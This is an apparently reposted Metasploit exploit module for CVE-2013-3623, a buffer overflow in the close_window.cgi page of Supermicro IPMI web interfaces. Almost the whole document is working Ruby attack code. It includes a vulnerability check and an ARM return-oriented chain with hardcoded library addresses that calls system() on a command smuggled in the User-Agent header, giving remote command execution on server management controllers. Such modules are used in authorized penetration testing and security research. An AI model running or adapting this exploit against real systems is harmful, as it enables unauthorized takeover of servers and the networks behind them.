Supermicro Onboard IPMI close_window.cgi Buffer Overflow Vulnerability

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Supermicro Onboard IPMI close_window.cgi Buffer Overflow Vulnerability

来源：metasploit.com 作者：hdm 发布时间：2013-11-18

##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})

super(update_info(info,

'Name' => 'Supermicro Onboard IPMI close_window.cgi Buffer Overflow',

'Description' => %q{

This module exploits a buffer overflow on the Supermicro Onboard IPMI controller web

interface. The vulnerability exists on the close_window.cgi CGI application, and is due

to the insecure usage of strcpy. In order to get a session, the module will execute

system() from libc with an arbitrary CMD payload sent on the User-Agent header. This

module has been tested successfully on Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware

SMT_X9_214.

},

'Author' =>

[

'hdm', # Vulnerability Discovery and Metasploit module

'juan vazquez' # Metasploit module

],

'License' => MSF_LICENSE,

'Payload' =>

{

'Space' => 8000, # Payload sent on the user agent, long enough to fit any payload

'DisableNops' => true,

'BadChars' => (0x00..0x1f).to_a.pack("C*"), # not a big deal, we're working with ARCH_CMD payloads

'Compat' =>

{

'PayloadType' => 'cmd',

'RequiredCmd' => 'generic openssl'

}

},

'Platform' => ['unix'],

'Arch' => ARCH_CMD,

'References' =>

[

[ 'CVE', '2013-3623' ],

[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2013/11/06/supermicro-ipmi-firmware-vulnerabilities' ]

],

'Targets' =>

[

[ 'Supermicro Onboard IPMI (X9SCL/X9SCM) with firmware SMT_X9_214',

{

:callback => :target_smt_x9_214

}

]

],

'DisclosureDate' => 'Nov 06 2013',

'DefaultTarget' => 0))

end

def send_close_window_request(sess, agent = rand_text_alpha(8))

res = send_request_cgi({

'method' => 'POST',

'uri' => "/cgi/close_window.cgi",

'agent' => rand_text_alpha(16) + agent,

'encode_params' => false,

'vars_post' => {

'sess_sid' => sess

}

})

return res

end

def check

safe_check = rand_text_alpha(20)

trigger_check = rand_text_alpha(132)

res = send_close_window_request(safe_check)

unless res and res.code == 200 and res.body.to_s =~ /Can't find action/

return Exploit::CheckCode::Unknown

end

res = send_close_window_request(trigger_check)

unless res and res.code == 500

return Exploit::CheckCode::Safe

end

return Exploit::CheckCode::Vulnerable

end

def target_smt_x9_214

base_crypt = 0x40074000 # libcrypto.so.0.9.8

base_libc = 0x40554000 # libc-2.3.5.so

buf = rand_text_alpha(68)

buf << rand_text_alpha(4) # r10

buf << rand_text_alpha(4) # r11

buf << rand_text_alpha(4) # sp

buf << [base_crypt + 0x39598].pack("V") # pc # mov pc, r4

# 2nd stage

buf << "\x68\xd0\x84\xe2"

# add   sp, r4, 104                  # make sp point to controlled data in order to accomplish the "ret2system"

offset = ssl ? 208 : 204 # when ssl there is an additional environment variable "HTTPS=on"

buf << [offset].pack("C") + "\x50\x84\xe2" # add r5, r4, 204 # make r5 point to pointer to envp

buf << "\x70\x40\xb5\xe8" # ldmfd r5!, {r4, r5, r6, ls} # store on r4 pointer to envp USER_AGENT pointer

buf << "\x20\x40\x84\xe2"

# add   r4, r4, 32                   # to skip the "HTTP_USER_AGENT=" substring and avoid bachars on emulated environment

buf << "\x40\x80\xbd\xe8" # ldmfd sp!, {r6, pc}

buf << rand_text_alpha(4) # R6

buf << [ base_crypt + 0x3A8BC ].pack("V") # mov r0, r4; ldmfd sp!, {r4,pc} # store in r0 pointer to command

buf << rand_text_alpha(4) # r4

buf << [ base_libc + 0x3617c ].pack("V") # system at libc

buf << rand_text_alpha(128-buf.length) # padding to reach memory which allows to control r4 when overflow occurs

# 1st stage: adjust r4 and pc

buf << "\x80\x40\x44\xe2" # sub r4, r4,-128 # make r4 point to the start of the buffer

buf << "\x54\xf0\x84\xe2" # add pc, r4, 84 # give control to 2nd stage

return buf

end

def exploit

buffer = self.send(target[:callback])

print_status("#{peer} - Sending exploit...")

send_close_window_request(buffer, payload.encoded)

end

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